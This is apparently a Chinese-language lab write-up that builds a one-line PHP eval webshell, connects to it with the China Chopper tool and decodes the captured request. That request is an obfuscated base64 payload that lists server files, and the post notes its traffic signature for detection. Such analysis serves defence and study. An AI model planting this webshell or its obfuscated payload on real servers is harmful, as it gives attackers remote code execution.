0x00 构造一句话木马
在本地phpstudy环境下,创建backdoor.php,并写入一句话木马。
<?php @eval($_POST['cmd']); ?>
0x01 菜刀连接后门
连接时使用 WSExplorer进程抓包工具,抓到菜刀请求的数据包
0x02 分析数据包
查看数据包
cmd=array_map("ass"."ert",array("ev"."Al("\$xx%3D\"Ba"."SE6"."4_dEc"."OdE\";@ev"."al(\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J0Q6XFxwaHBTdHVkeVxcV1dXXFwnOyRGPUBvcGVuZGlyKCREKTtpZigkRj09TlVMTCl7ZWNobygiRVJST1I6Ly8gUGF0aCBOb3QgRm91bmQgT3IgTm8gUGVybWlzc2lvbiEiKTt9ZWxzZXskTT1OVUxMOyRMPU5VTEw7d2hpbGUoJE49QHJlYWRkaXIoJEYpKXskUD0kRC4nLycuJE47JFQ9QGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZW10aW1lKCRQKSk7QCRFPXN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkUCksMTAsOCksLTQpOyRSPSJcdCIuJFQuIlx0Ii5AZmlsZXNpemUoJFApLiJcdCIuJEUuIlxuIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJYQFkiKTtkaWUoKTs%3D'));");"));
将其进行base64解码
cmd=array_map("ass"."ert",array("ev"."Al("\$xx%3D\"Ba"."SE6"."4_dEc"."OdE\";@ev"."al(\$xx('@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0')
{@set_magic_quotes_runtime(0);};echo("X@Y");$D='D:\phpStudy\WWW\';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F))
{$P=$D.'/'.$N;$T=@date("Y-m-d-H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();
可以看到是一些文件操作的系统命令
0x03 总结
所以<?php @eval($_POST['cmd']); ?>
的原理,是将一些打开文件系统命令通过POST请求传入cmd中,但是传给cmd的这些字符串,必须以分号结尾
,再通过php解析,eval执行函数,执行括号中的语句,即可触发后门。
注:
PHP eval() 把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
以上包含了菜刀流量信息的特征,防御可进行相应的检测,另外,通过查看菜刀数据包,也可分析菜刀软件是否含有后门。